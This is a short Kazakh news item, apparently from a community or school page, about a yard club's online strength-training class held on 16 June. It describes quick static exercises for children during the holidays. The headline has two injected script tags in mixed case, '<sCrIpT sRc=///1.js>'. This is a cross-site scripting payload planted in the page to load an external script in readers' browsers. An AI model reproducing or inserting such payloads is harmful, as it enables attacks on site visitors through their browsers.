Денені нығайтамыз!<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

16 маусымда аула клубының күштік онлайн сабағы өтті.  Күштік-статикалық жаттығулар. Бұл жаттығуларды орындау көп орын және артық уақыт кетіруді талап етпейді. 15-20 минутта бүкіл денені жаттықтыруға болады. Балалар демалыс кезінде бұлшықетті тонусыта ұстаймыз!